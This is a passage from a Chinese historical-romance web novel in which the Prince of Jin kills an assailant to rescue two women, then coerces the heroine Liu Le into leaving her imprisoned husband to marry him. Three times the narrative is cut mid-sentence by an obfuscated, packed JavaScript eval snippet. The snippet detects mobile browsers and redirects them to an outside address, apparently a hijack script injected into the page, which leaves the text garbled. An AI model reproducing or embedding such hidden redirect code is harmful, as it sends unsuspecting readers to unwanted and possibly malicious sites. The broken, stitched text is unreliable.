“跑去哪里?都是咱们自己的宅院,无人到此处来,跟我走罢!” 正拉扯时,巷口传来马车声,两人都转头望去,见一架黑色马车,由两匹健马拉着,旁边随着几名骑马侍从,正往这边拐。 柳乐大喜,一面在常琨身上扑打一面呼喊救命。常琨紧紧拽住她,满不在乎道:“谁家的车回来了?这一片没不认得我的,整个京城的人全知道常大爷!这是我家门口,当真嚷嚷出来,也是你背着丈夫与我私会。” 他见车子靠近,益发要使他们知道,省得来管闲事,于是满嘴里大声说:“乖乖儿,莫使性,饶你这回,早跟爷回去,还有你的好处。” 马车照常行驶,侍从们也端坐于马上没有动作,柳乐的心快要沉下去了。谁知车行到跟前却又停住,从上面跳下一个男子,弹弹衣袖,负手走来。 柳乐一眼看见那人威严的模样,心头一宽。能得救了,她高兴地想。——来人不是别个,是那位晋王。他见过她,应该还认得出。柳乐不怕有人会听常琨胡说八道,只怕再来一个又是他们一伙,这下她放了心:虽难说晋王是多么正直的人,但他自负身份,总不至于跟这些淫恶之徒为伍。 常琨也瞧见了,不敢再逞性,只将柳乐推在身后,一手拽住。柳乐甩开胳膊,站住匀匀气。常琨见她不喊不闹,以为自己的威胁奏了效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的脸被溅上了几点血,胸前也有。可是可怕的是他的眼睛,只有把取人性命看作家常便饭,对生死完全无动于衷的人才可能有这种眼神。 柳乐浑身一颤,哑着嗓子喊道:“快去救人,计姑娘在——” “你过去看看。”晋王松开手,对一位打扮与他人稍见不同的青衣侍从道,“不要吓到计姑娘。” 侍从去了,另一人拿出条帕子,从水囊倒水来沾湿,捧给晋王。他拿起来漫不经心在脸上抹了抹,又低头在前襟上抹了抹,轻巧随意地一丢。“收拾了。” 两名侍从上前,一人抬头,一人抬脚,把尸首抬入车里,又一人捡起地上的匕首等物收了,从腰上拔出刀,用刀鞘把渗了血的地皮翻起来,血迹埋到底下去,用脚踏实。不足半盏茶工夫,一切处理妥当,丝毫看不出此处刚发生过血淋淋一场命案。 晋王这时候冲柳乐笑道:“你帮我瞧瞧,还有没有?” 柳乐气息未平,闻言一惊,向他脸上望一眼。一张脸干干净净,干净得唇边的笑炫目如艳阳,她没想到他会这样笑。 柳乐这才看出他天生的威势,不敢再看,目光移到他身上:他穿一件靛蓝圆领缎袍,胸前只有两道擦拭留下的水迹,看着并不显眼。 “没有了。” 晋王也把她略一打量,“不必担心,你身上没沾上。不过这衣服回去还是扔了吧。” 22. 大恩和赐礼 柳乐刚才无意中已把自己身上整了整,发现衣服没被撕破,但她还没心思去关心衣裳的事,此时想起两只脏手将她拉来拽去,无比恶心,这一身当真不能要了。再一想那双手已成了死人的手,汗毛都乍起来了。 晋王又笑道:“还好你没穿上回那条像孔雀尾巴的裙子,不然太可惜,要是穿那条绿裙子,就更可惜了。” 柳乐知道他可能是好意:她猜测他是借此消除她的惊惧。可她十分不惯他一头刚杀过人,一头就浑不在意地说笑起来。道谢的话堵在她的喉咙口,就是说不出。 “真是巧啊,不过我可没想到你会来这地方。”晋王瞅着柳乐说,神情语气似乎都挺古怪,但柳乐也不及细思,光是嘴里含糊应了两声。 现在她只顾担心计晴,一双眼睛往巷子深处望着,正看到那侍卫在前,计晴落后数步,一同走过来。再瞧计晴,是一副惊惶的模样,但衣衫还整齐,走起路也不像受伤的样子。柳乐僵直的身体这才一松,顿觉双膝发软,从头到脚再没丁点儿气力。 护卫上前对晋王说:“禀殿下,那几人有东城兵马司指挥赵德,刚才那个是北城兵马司副指挥常琨,其余人无职,此处是他们的两所院房。卑职稍稍教训了他们一下,答应不敢再犯。” 晋王听了也不言语,看向计晴,关切地问道:“计姑娘没事吧?” “我没事。”计晴说着,一串莹莹的泪珠已挂下来。“多谢殿下救命之恩。”她望向晋王,摇摇摆摆就要拜倒。 “姑娘言重了,一点小事,不必这样。”晋王说着伸手去扶,但在她胳膊前顿住了。 柳乐忙从旁边扶住计晴,她也确实需要抓住一个人,不然她担心自己马上就要歪倒在地。 晋王说:“姑娘平安就好。尽快把这事忘了吧,那几个人你不必顾虑,不会再有人知道。” “殿下大恩……” “不用再提。”晋王摆了摆手,恳切道,“姑娘莫嫌我多事,小王还有一言:此地虽在城内,到底是偏僻背街,往来行走的人少,——我也是凑巧到附近来看宅子,有如此邻居,看来是不能在选在这一带了。——姑娘的家人也过于轻率,让你独自跑到这里似乎不太妥当。” 柳乐感到晋王话里暗含对她的谴责,不过,她本来已很悔恨,心里又惊又愧,混杂着后怕,也就顾不上晋王,何况他救了她们,哪怕骂一顿又算什么。 计晴泣道:“并非家人让我来此,是我自己——是为我兄长,自他下狱,我和嫂子还未曾见他一面,因此情急,轻信了朋友的话,以为来此便能见他。” 晋王飞快扫柳乐一眼,眉峰紧蹙。“这样的朋友——显然是算计你们,日后还该小心防着些。”沉吟片刻,又说,“你兄长之事我亦有耳闻,虽不清楚内情,不过我看计员外郎便是犯千般过错,也不会做出那种事。他年轻有为,难免遭人妒恨,不过也有很多人关心他;况且衙门断案自有章程,不至于无中生有,我相信总会给他个公道。姑娘切莫着急,见不了面只是暂时的。” 计晴再度哽咽,泫然望着晋王:“多谢殿下。” 柳乐又想起了谢音徵的话,若要求他,这时候就该趁机提了。可她张开嘴又闭上:随时会有人来,不是开口的好时机。最终她还是没说话,只是不自觉带上了祈求的神情。但是晋王没有再朝她看,劝慰了计晴几句后,他说:“快中午了,家人看你出来这么久,肯定要着急,快回去吧。我送你们一程?”他微微侧身,似乎是做了个恭请的手势。 柳乐顺着他的手看向唯一的一辆马车,险些叫出声:如何送?他总不至于忘了,车里还装着一具死尸呢。 急忙说:“不敢劳烦殿下。今日出来没叫人知道,若被家人看见问起,恐怕难以解释。走到前边就好雇车了,离家里并不远,我们走几步也无妨。” 晋王拱拱手:“既如此,恕小王失礼,先行一步。” 二人立在路边。柳乐余光中瞧见那晋王撩起衣袍,若无其事地登车走了。 . 从樱桃巷回来,计晴受到惊吓,谎称伤了风,躺在床上不敢出门。柳乐得空就悄悄去安慰她,将晋王杀人之事仍瞒过不提。计晴煎熬了一两日,见无人过来寻事,外头街谈巷议亦不闻樱桃巷的风声,始知晋王爷果然把事情料理得干净利落,心里着实对他感激不尽。 柳乐也料赵德等人不敢来报复,死了一个,对他们的惩罚和震慑是足够了。可是血淋淋的人命案子不好掩盖,谁知这一事也悄无声息,她方渐渐放下;又另有忧虑爬上心头,一日深似一日,一时深似一时:那伙人虽是恶霸纨绔,却不是愚人,平时最会看势头儿、见风使舵、枝党钩连,像赵德、常琨等还是身上有职的,最懂里头的干系,这回却毫无顾虑、明目张胆地欺负上来,分明不当回事,可见都认为计晨获罪已是板上钉钉。 心上有这重重压,柳乐实在寝食难安,就连想起晋王,她的感激也远远不及计晴那样纯粹。不过千思万想后,她决定去一趟晋王府。 这日早晨,柳乐在屋内换衣裳时,听见前头似乎有客登门,她也不去管——估摸又是哪个来问案子的亲友或骗子。她准备往王府去了,拜帖已经写好,藏在袖中,她又捏了一捏,心里还是在忐忑:既有那日,我去致谢,能算做个登门的由头吧?不知王府是什么样子,车能靠近大门么,车夫怕是不敢,还是远远停开,自己走去,能由正门进么?王府门上大概更了不得,就是做官的未必给他进去通报呢,何况我?若说王爷不在,是不是真不在…… 巧莺在旁问:“姑娘咱们要上哪儿,穿得这样整齐。” “别多话,路上我再告诉你。”刚说完,董素娥使人来叫她。 柳乐只好先来见董素娥。一进堂屋,高娴、计晴都在那儿坐着。等柳乐坐下,董素娥方开口:“刚才晋王府上的人送来一张拜帖,说王爷明日会来。” “他肯帮咱们?”柳乐脱口叫道。心想谢音徵最终还是设法给晋王去了信,随即又想起别人对此俱不知情,后悔自己话插得太突兀,好在人人都诧异,没人留心她。 “王爷来做什么?来这儿?是好事还是——”高娴小心地问。 “你们父亲说来人很客气,专程提出明日王爷要见我,还赐了礼。”董素娥说着,从身后抱出长长一只包锦匣子,打开来,里面装着杏黄葱绿海棠丁香四匹宫缎,又有四罐贡茶。 就皇家赏赐臣民来说,这 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柳乐便说:“前几日我和晴妹妹出去时碰到了几个……捣子,他们言语不大规矩,正好王爷路过看见,撵走了他们。我们谢了王爷,王爷说不必声张出去,我们也怕母亲忧心,所以回来便没提。再之前,那一回我们去谭家拜寿时,也遇见过王爷。” “噢,是在谭家见过你们,所以认得?”董素娥问。 柳乐点点头。 “怎么那时候回来也不吱声?”董素娥责备道,又扭头对计晴说,“看来王爷是为了你来的,别怕羞——如今你哥哥不在,老爷又生病,只能靠咱们了。本来你也大了,该为你……都怨娘,最近家里事多,没顾上。行了,那些事不是你的错,如今不作兴姑娘躲在家里不见人,见就见了,都是寻常。” 她思忖一阵,开口道:“若晨儿的案子能翻,以咱们家的家世,做个侧妃总还使得吧?”依次看向高娴和柳乐,两人都没吭声。董素娥又说:“不过王爷娶妻娶妾,总是差媒人来,哪有他亲自登门的道理。莫不是他只肯给个侍妾,或者,他根本不想将人安置在王府?” 若晋王爷有意相帮,直接与计衔山商议就可以,为何要见董素娥,又送来这样的礼物?柳乐也有些拿不准他的意图了。她猛回想起在樱桃巷遇见时,他口里说过是在看宅子。现在她隐约明白了樱桃巷是个何样地方,在那儿看宅子,还能做什么用?——他的帮助是有条件的,是要人家清清白白的姑娘! 董素娥又疑惑地看一眼计晴:“王爷是个什么想法,可有对你讲过?” “没,没有。”计晴拼命摇头,“就那两回,我再没有私下见过他,没有讲过……” “好了,”董素娥拍拍她的肩膀,“没讲过也没关系。他既来咱们家,肯定是有话说,即便说得不那样好听,咱们也别急着计较——王爷有难处,上头还有太后,有皇上,不能直来直去地办,但将来办法多得是。先把你哥哥的官司了了是正经,等你哥哥复职,咱们可不是个清白人家?你不是个官家大小姐?那时候王爷再去对皇上说,哪有不答应的?委屈是委屈你,就只是这一时,你看……” “娘,我懂,你别说了。”计晴颊上红晕未褪,眼眶又红了,泪水成串地往下掉,一时答应不出,捂着脸跑出屋去。 23. 商议与登门 柳乐早就在心里摇头。先前,她模糊听见董素娥看好谭家一位公子做女婿,不过不知是计晴不愿还是怎的,并未明着提出来。后来生出这场变故,计晴的亲事自然更得放缓再议,不过她还没满十九岁,将来总可以消消停停挑选一位如意郎君。无论如何,岂能拿她当物件交易,拿她去贿赂晋王? 等计晴走远,柳乐直言不讳道:“不行,不能为了救哥哥,却将妹妹搭进去。大哥和晨大哥知道,也断不会答应。何况这还是往好了想,能不能救出人都不一定。我也见过这位王爷——虽说那回是给我们解了围,他不过顺便的事儿——我看他不像是个仁人君子。他连给个正经名分的诚意都没有,又怎会帮我们?咱们势单力薄,不是正好任他揉圆捏扁?上次我听见别人议论,说先前他身边好像有位平民女子,如今似乎下落不明,——足见此人不可靠。若他骗了晴妹妹,再将她弃之不顾,岂不是毁了晴妹妹一辈子?” 董素娥顿足哀号:“现在这个样子,晴儿就是嫁,能嫁个什么好人家?她的一辈子已经毁了。你当我愿意拿晴儿换晨儿?手心手背都是肉,我做娘的不疼他们,还有谁会疼?都撒手不管,光凭我一个老太婆,钱也使了,人也求了,除了着急忙活地抱佛脚,还能再想出什么别的法儿?晴儿跟了王爷,就是再不济,这辈子吃穿不用愁。晨儿关在监里,是死是活都没个准信儿,想见一面比登天还难,万一在里头出点事情,那时候什么也晚了,我和晴儿靠谁去?左也靠不得,右也靠不得,少不得医好眼前疮,剜却心头肉!” 柳乐见婆母稀里糊涂,且还大有埋怨自己之意,本欲再辩几句,转念又想现下不是自家人吵架的时候,越吵越乱,便压下气,闭口不作声了。她心里还在琢磨,晋王果真是要趁机霸占计晴?虽见过几面,可是对他那个人,她一点儿都看不明白,总觉得他身上有种说不出的古怪。不过万一他真是受谢音徵所托,没有其它存心,岂不是错怪好人?反正他要来是挡不住了,刚好也免了自己上王府,等他来过再说罢。 高娴也劝道:“柳妹妹也是为晴儿着想。而且,虽说跟王爷,比起寻常做小不同,可若是太不像样,父亲面上恐不好看。” “性命重要还是脸面重要?你们父亲就是把脸面看得太重,早舍下脸去求人,早没这些事了。”董素娥又哭起来。 高娴忙说:“不过我看,王爷未必不肯给名分。说不定他就是打算先办妥二弟的事,再差人说媒。这次只是来打声招呼,好让咱们不要太着急。” “对,对,恐怕是这个意思,我是糊涂了,怎么没想到。”董素娥连声赞同。可她擦干泪后,眼神又黯淡下来,发愁地看着四周,“这儿太破旧寒酸,王爷来了坐哪儿呢?站、坐都没个地方。我说得去哪里借几样家具来摆着,赶不赶得及?” 柳乐忍不住说:“打扫打扫就行了,咱们茅屋草舍,也是干干净净的,不怕脏了谁的脚。” 董素娥又悲泣道:“他什么时候来,用不用饭?总还要招待茶水,这可怎么办,一上来就要开罪人——计家也是世代诗书,连只像样的茶杯都寻不出?王爷不晓得,还以为咱们故意怠慢他。如今再出不得差错,罢,罢,把我的头面取出来卖了,好歹买几只杯子。” 计家当然不至于寻不出茶杯,缘故是搬家之日到底太过仓促,多少细软都顾不上收拾,谁还记得茶具,故只带了平日里用的一套,——也不知该怪丫环没捆扎好,还是怪小厮毛手毛脚,就这一套搬动中偏生又摔烂了。 想起这些鸡零狗碎的狼狈事,勾出新愁旧恨,董素娥悲从中来,哭喊着唤人:“去看看我那匣子里还有什么,索性都拿出来卖掉,成不成就指着这一回了。” 柳乐只好拦住说:“咱们家现今这个状况,王爷又不是不清楚,没必要打肿脸装胖子。我那只巩县窑杯子,虽不是值钱东西,总算是件古物,外面不容易见到,充得过去。我好好擦洗一下,对付着使吧。” 高娴也在旁劝说,董素娥听了方不言语,慢慢地止了哭,算是默认了。 话一出口,柳乐便心中暗悔:杯子是她父亲家中传下来的,一次母亲说干收着也无趣,因恰有五只,便取出分给全家人用。五只陶杯造型古朴,分别是黑、青、黄、绿、蓝五色,她选了只蓝的,爱它釉色艳而端凝,又喜它不轻不重,趁手易握,日常喝茶喝水,用了好多年。她从不和人共用杯盏,只是那一回,禹冲又要出门,临行前道别,在她屋子坐了一会儿。她说:“我去给你泡些茶。”禹冲拦住,“我马上就要走了,你别动。”她也不想走开,就拿她的半杯茶给禹冲喝了。 如今杯子拿去给王爷用过,她不能再留着。柳乐心头作疼。 这时听婆母嫂子又商量待客的果品,她负气说:“用不着白白忙活,他们出门,大概本来也不会随便吃外头的东西;茶叶现成的——他不是送了些吗?我这儿还有些零碎银子,等会儿我和大嫂出去买几样点心果子,摆着好看。他不肯吃咱们自己吃,筠儿、筱儿吃。” 大家都无甚话说,高娴又问:“父亲是什么意思?若王爷明日果真提起和晴妹妹的事,万一父亲不肯,谈僵了——” 董素娥想了想,道:“你们父亲那儿,先不要多说。我告诉他,王爷既提出要见我,可能是有些话对我说方便些,让他不要掺和,到时候避开。等我问明白王爷,再作计较。王爷来了,让陈嬷嬷带筠儿、筱儿出去玩,让巧莺在外头上茶,你们两个坐在里屋,留神听着些。我怕跟前一慌忙,听岔了意思。” 柳乐也正有此意,董素娥却看她说:“你们只听着就是,不管是说好话歹话,都等着下来咱们再慢慢商量,可别当场叫唤起来,把事情弄坏了。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784984|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓得,王爷没走之前不能出声。”柳乐答应了。 董素娥又说:“让晴儿也来听听,愿不愿在她,省得来日又是我落一场埋怨。” 当下计议已定,各人自去忙活不提。 次日上午,董素娥拿出几个钱,叫人带两个孙女出门玩耍,并对计衔山说:“王爷这时来,能为何事,一定还是为晨儿。只不知他是打算如何。有些话老爷不好一下子应承,倒不如我先探探口,等回来再和老爷讨主意。我一个妇道人家,又没多大见识,破着老脸求他一求能怎的?说得不好,他也不能见怪。他来这儿,必然不备轿马,算不得正式拜访,再说我们想管待也没的管待,含糊些算了。你一向身上不大好,干脆推病,见个礼就罢了。” 计衔山如今下得了床,只是经过这番,精神大不如前,已显出老态来。听董素娥如此说,他半日提不出异议,只缓缓点一点头。于是,一家人胡乱吃了几口饭,专一等候晋王。 正午后又过了半个多时辰,管家媳妇慌忙跑进屋,压着嗓子说:“来了,来了,王爷现和老爷在厅里见面,只带着一个跟从。” 董素娥赶紧把媳妇女儿向里屋推,“快进去坐好,千万莫出声响。”她急忙整整衣裙,走了出去。 三人挨着在床沿坐下,个个屏息凝神。隔一道竹帘,外面的动静听得清清楚楚。一阵脚步响起,是管家带王爷过来了,董素娥迎上前,将他让进屋子。 晋王道:“请老太太转上,受小侄一拜。” “岂敢,岂敢,蒙王爷不弃下顾,老身惶恐。” “是小侄久疏问候了。” “快请坐。” 外面谦让再三方才坐下,只听董素娥说:“王爷休嫌轻慢,家中遇事,临时在此落脚,只好请王爷将就用些粗茶。不,不,瞧我一张嘴就胡说,这茶是极好的茶叶,只是我家里寻不出好水,拿井水煮的,真是糟蹋了天物了。” “茶叶算不上好,不过这只杯子倒不俗,我瞧像是唐朝的东西。” “王爷慧眼。”董素娥笑道,“不当在王爷面前自夸,不过我们计家说起来也算是旧家。家下有几件世传不值钱的旧物,王爷见笑了。” “这不是十三圆圆的芙蓉酥?他们家的杏仁酥最好吃,只是恐怕不容易买到。” “家里媳妇备的,小人儿家,能见过什么,哪懂得东西好坏,王爷多担待。” 柳乐在屋内听见,险些哼出声。十三圆圆是家糕点铺子,制作的各种点心都好吃,杏仁酥又是其中最受欢迎的一样,每端出来,一盘子一霎便被抢光了。昨日她没买,一则根本买不到,二则便是有,杏仁酥价钱那么高,她可不愿为这个太花费,——连芙蓉酥她尚且嫌贵,只是为它样子好看,这才咬牙把身上不多的银子又破去些,本以为足可以充得过,没想到晋王爷这等眼尖口刁。 24. 茶杯和匕首 不选杏仁酥,其实还另有一段缘故:从前禹冲知道她爱吃,每次去她家手里必拎着一包。“给你,十四圆圆。”他说。 这是个故事:十三圆圆的点心方子是家传下来的,共有一十三种,店里按方做这十三种点心,极慎重,各样材料都拿称量好,一分一厘也不能错。一日,新来的伙计料备得不准,做完全部点心还剩下些,店主为免浪费,把这些材料混一混,新做出一样点心给孩儿吃。那孩子拿去店堂,大呼好吃,被个嘴馋的顾客看见,哄来尝了几口,亦大呼好吃,缠着店主要买这样。幸而店主仔细,还记得做法、配料,照样做了出来,从此便成了店里的第十四种点心。 店主不肯弃了祖上传下来的方子,再说匾额已经挂出去了,三也不好改作四,便还叫十三圆圆,主做十三样点心,这新增出来的一样只当作可有可无——若碰巧有材料,就顺手做些,一日最多烤制一回。为免顾客买不着不高兴,定价极高,即便如此,每日专侯它的人亦不少。这样点心按用料该叫它杏仁酥,但是买的人若知道来历,口里便不说杏仁酥,叫它十四圆圆。 是禹冲告诉她这个故事,她听了好奇,专去过一次店铺,果见几个人兴冲冲来问:“十四圆圆做了没有?”伙计答:“今日不做。”这些人个个露出遗憾之色,转身去了。 她赌气把十三种点心各买了一块,回去挨个品尝,确实都好吃,却都不如十四圆圆那么好吃。 后来问禹冲:“你平日又不喜吃甜食,怎知它好吃?” 禹冲说:“我不知它算不算好吃,只是觉得十四圆圆这个名字好听。” “你怎么买它这样容易,每次都买得到。” 禹冲不答了,望着她露出一口洁白的牙齿。 她才醒悟,不是他买次要来便能买到,而是买到了才来。 低头小声说:“那又何必,我又不是非要吃它,我也没那样贪嘴。” 禹冲笑着说:“不是不是,是我想要买。其实我猜八成是掌柜自己编出那么个故事,又故意不肯多做,好吊着人的胃口,让大家都来买它。我既知道,为何还愿意上门送钱?——谁让它偏叫了这么个有趣名字。每回我去了叫问十四圆圆,里面答马上就有或多等一时,那我便觉得合着机缘,正该来见你。不然的话,要我来,我天天都想来,就是你不嫌烦,别人瞧见,难免说我不务正业,我脸皮厚,倒也不怕,怎么好让你面上无光,好像你只配和我这等人厮混一般;可要我不来,我又实在忍不得。只好让这道点心替我卜算卜算,十四圆不圆,我来是不来?” 只要他在京城,隔不上两三日,总要来柳家一回。后来她想,为造出这样的“机缘”,他一日只去店里一趟怕是不够的。说不定他另有办法,比如买通铺子的伙计。反正,不能见出他待她的真心,只说明他确实会哄人罢了。 柳乐早就想得明白,可往事依旧令她心中刺痛,一走神,没留意听对话,再侧耳细听,原来外面已经寒暄完了,董素娥正问:“王爷驾临寒舍,蓬门生光,只不知王爷今日是兴高出来逛逛,还是——” 晋王道:“老太太看出来了?其实小侄并非突发游兴,莫若说王府里人太少,实在闷得紧,宁可出门转转。不过确实也有一事——不怕老太太笑话,小侄今年二十有四,因少时轻狂,在正事上未着紧,落了个不肖的名声,不为人喜,后又遭遇一大劫,更是把儿女情缘看得淡了。不料前日出门,竟遇到一位可心的女子,一直念念不忘。”说到此处,他停住不往下说。 柳乐与计晴紧挨着,能感觉出她全身颤抖,便拉过她的手握了一下,向她微微摇了摇头。 “啊呀,这是好事啊,岂敢取笑?”董素娥叫道,“专注大事的人,都不在儿女之情上多分心,只等着缘分到了,自然好事得谐,再没有落空的。也不必论早晚,王爷觅得同心、连理,无论何时都是我们子民之福之幸。那么,王爷是有意——” “今天贸然登门,多有打扰,不过小侄做事随性惯了,想到一件事,马上就要办。本来还该请托一位长辈过来,小侄等不及,便自己先来了。其实说起来小侄与府上也是早有来往,只是还不曾拜访贵处,小侄想,老太太不会嫌小侄唐突无礼吧。” 怎么是早有来往呢,柳乐感到奇怪,继而想那晋王大概是指双方都认识某人,譬如说谭家,故此这样说一句,为显热络,也为他这怪诞行为装点装点罢了。 董素娥似乎也有些懵了,顿了一回,笑道:“哪里哪里,王爷做事爽快大方,怎好算唐突?不过,这件事情王爷也不可过于率性,恐怕还需太后和皇上同意?” “老太太所言甚是,小王已向太后和皇兄禀过,他们全都准了。” “啊呀,那敢情好,那敢情好。”董素娥欢喜地笑了数声,“不知王爷看中的这位女子是——” “正是在贵府上。”晋王也笑呵呵地回答,忽地语调一转,“你家里有位柳氏?” “有,有,她是小犬媳妇,前日就是她陪着小女——” “尊府上有这人便好。”晋王打断道,“我要找的女子就是她。” 停了半晌,董素娥才结结巴巴说:“柳氏,她,柳氏与我那小儿……王爷问的可是柳氏?” “对,你们家还有别人姓柳没有?——没了?那我说的就是她。” “王爷遇见她……对了,柳家还有位二姑娘,是叫柳……是叫柳词吧,王爷是不是想问她?” 柳词!柳乐从没想到这层。她已是浑身冰冷、手脚发麻,这一下又差点叫出声。她的妹妹柳词,她花朵儿一般、才刚十八岁的妹妹,什么时候被王爷看见了? 外面的话声随即响起,四平八稳的:“不是,我说的就是你们计家的柳氏。” “可,可……她是我家里的媳妇。” “这确实不大方便。不过——办法也有,比方说,若她成了寡妇呢?” 柳乐脑袋嗡地一响。她以为自己身上的血都凝住了,可是耳中分明听到血流的轰鸣。 好半天,她才发现帘外鸦雀无声。柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787546|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐呆呆望着自己的手,眼前是晋王慢条斯理擦去脸上血迹的样子。 他做得出。柳乐浑身一抖,猛然起身冲出屋子。 晋王抬头看她一眼,半点儿不吃惊,仍旧稳稳坐着。柳乐直问他:“殿下可是说我?” “是你。”晋王冲她笑了一笑,“我想娶你,你肯不肯答应?” “蒙王爷青睐,民妇愿与计正辰和离。” 晋王扭头转向董素娥:“如何?她这边已经妥当了。” “等一等,”柳乐止住他,“若我答应,殿下可否保证计正辰无事?” 王爷不答却问:“你与计正辰是哪年哪月哪日成的亲?” 柳乐忍羞含气道:“今年二月初一日。” “听说他是第二日就出门了,中间不曾回来过?” “计正辰二月初二奉旨出京办差,差事未毕,不敢中途私返。” “那么等他差事办完回京,是在城门处就被带走,没有回家?” “是。”柳乐不知他是何意,只得一一作答。 “二月,中间一个闰五月,到如今是足足有八个月了。”晋王仰头计算,然后掉转目光,肆无忌惮向柳乐腰上打量,“你显然也没有八个月的身孕。这便行了,事关王府嫡长男长女,要上玉牒的,含糊不得。” 听话的人都气怔了,甚至没有发觉他的意思是要柳乐做正妃。 董素娥几乎要背过气去,柳乐也是一张脸煞白,她的双手在袖中使劲捏成拳,捏得指甲掐进肉中,镇定下来,追问道:“殿下可保证计正辰无事?” “你放心,他与小王无冤无仇,小王岂会有意加害?你嫁给我,觉得自己对不住他,小王也能体谅,小王若有办法,自为他出力。” “殿下一言九鼎。”柳乐目光逼着晋王。 晋王定定注视她一会儿,微微点了点头,再转身向董素娥问道:“那么,计老太太看呢?” 董素娥尚还说不出话,柳乐悲道:“母亲,恕媳妇不孝无福,不能再侍奉二老。媳妇负计家良多,不敢奢求宽容,只求母亲给我一封休书,由我自去罢。” 晋王闻言笑一笑,说:“你们自己商量,休出去我也不介意。三日后我去柳家提亲。——就拿这杯子做个信物吧。”他指指茶杯,站起身,从袖中取出一把匕首,直接交到柳乐手里,“咱们都是痛快人,我也给你一件。这是先太祖皇帝一直带着的,危难时曾救过他的命。后来皇兄转赐与我。给你,一则作信物,二则——你用它杀上个把人,可以免罪。” 柳乐感到他墨黑的浓睫颤动,狡黠地向她眨了眨眼。 何须提醒,她知道天上不会平白掉下来好处。他救过她一次,便来讨还。想不从么?他也可以轻易攥住她的命,计晨的命。 柳乐低头看这把饮过血的刀,刀柄顶端椭圆的青金石也像一只眼睛似的回视她,那蓝色艳而端凝。 “那咱们就说定了,不能收回了。”晋王抓起茶杯,将里面的水向地上一泼,扬长而去。 25. 长史与和离书 “娘,娘!”柳乐听见计晴叫喊。原来董素娥险些栽倒,幸而被高娴计晴两人扶住。柳乐想帮忙,计晴一把推开她,冰冷的目光向她身上重重剜了一下。柳乐一愣,尴尬地垂下手。管家、丫环闻声都赶来了,屋里盘桓不开,柳乐便回自己屋中坐着;过一时,听得董素娥并无大碍,放了些心,也不好去问候,免得惹厌烦添忙乱。 她越想越疑心午间的事不是真的,抓住巧莺问:“那王爷,你看见了……究竟是怎么一回事?” 巧莺压着声说:“我不知道啊,姑娘。就他刚进屋时,我看了一眼,哪里敢多瞧。计太太让我留意添茶水,我只顾盯着茶杯子了,哪儿想他说着说着竟说到姑娘头上了。” 原来真的发生过。柳乐一屁股坐在床沿。 巧莺偷偷瞅了她几眼,说:“这个时候了也没什么当问不当问——姑娘是几时认识了王爷?我听计太太好像说,王爷前儿路上搭救了姑娘和计大姑娘?” “什么搭救?”柳乐皱起眉。再想那桩事,益发悔恨莫及。“是我和计姑娘出门,碰上了几个恶霸。——是我不对,不该去,不要提了。” “是那个时候王爷看姑娘……那次不出门,就不会碰见王爷了?”巧莺小心翼翼地问。 是不是?柳乐自己也不知道。她拼命回想,似乎只碰到晋王两回,一次在行宫,一次在谭大人家。两次都有许多人,怎么偏就是她劈面撞上晋王,和他说了话呢?——说了几句话而已,何至于他会来这一出?她喃喃道:“已经答应了,如今该怎么办?” 巧莺也没丁点儿主意,想了想还是安慰说:“这也是没法两全的事,姑娘要救计二爷,只好答应王爷。不过王爷人看着也不坏,——他做王爷的要风得风要雨得雨,他想娶姑娘,就想了这个法儿。要是计二爷没事,哪怕告到皇上跟前,是王爷没理;可计二爷给关着,说句难听话,王爷非不讲理,姑娘也没法子。如今他是规规矩矩求娶姑娘,回禀了皇上的,可见倒是真心,姑娘嫁去,将来未必不如意。” “我是怕爹爹知道怎么办。” 巧莺忙说:“在老爷太太面前,姑娘可不能露出是受迫的样子。姑娘拿定主意嫁王爷,等咱们回家,千万说是心甘情愿的,亲生女儿愿意,老爷最多责备几句就过去了;姑娘若怎么也不想嫁,咱们再想别的法儿,就怕……”巧莺为了难。 狱里黑秃秃的炕头,父亲的字画,泼在地下的水,溅在衣上的血……这些事物在柳乐面前一一闪过,她打了个寒战:“我嫁。等回家就照你这样说。” 她就去王府见识见识,看那王爷到底几个头几只脚,能把她活吃了不成。 . 第二天一早刚起床,忽听见一片打门声,不知为何事。大家都跟过来看,就见管家让进来一位官员,数名随从骑马站在门外。 计衔山这时尚未穿好衣服,董素娥慌忙请来人进屋稍候片刻。 来人面相不过二十一二年岁,却好大一副派头,对董素娥的话恍若未闻,甩一甩衣袖,立在院中脚步不动,四处恣意打量,看过一时才转头,开口笑道:“下官乃晋王府长史陈允,奉王爷命,过来传个话:王爷说,不管是放妻书还是和离书,须由计正辰本人看过,签上姓名,印了五指手模方作数。” 董素娥又急又慌,陪笑道:“我儿——小犬还在刑部,我们代他不是一样?” “怎能一样?”陈允反问,“皇家亲事,容不得一点儿差错。若是计正辰无罪开释,日后还在朝中为官,难免与王爷碰面。万一计正辰嫌脸上难看,不肯认了,再说些不三不四的言语,拿他怎样?王爷也不愿落个欺压人的恶名,还是有个凭据为好。” “不会不会。”董素娥连声说,听到“无罪开释、朝中为官”,脸上减了几分忧色,挤出半丝笑来,“王爷之令,岂敢不从,只是我们实难见到小犬,陈老爷可有法子?” 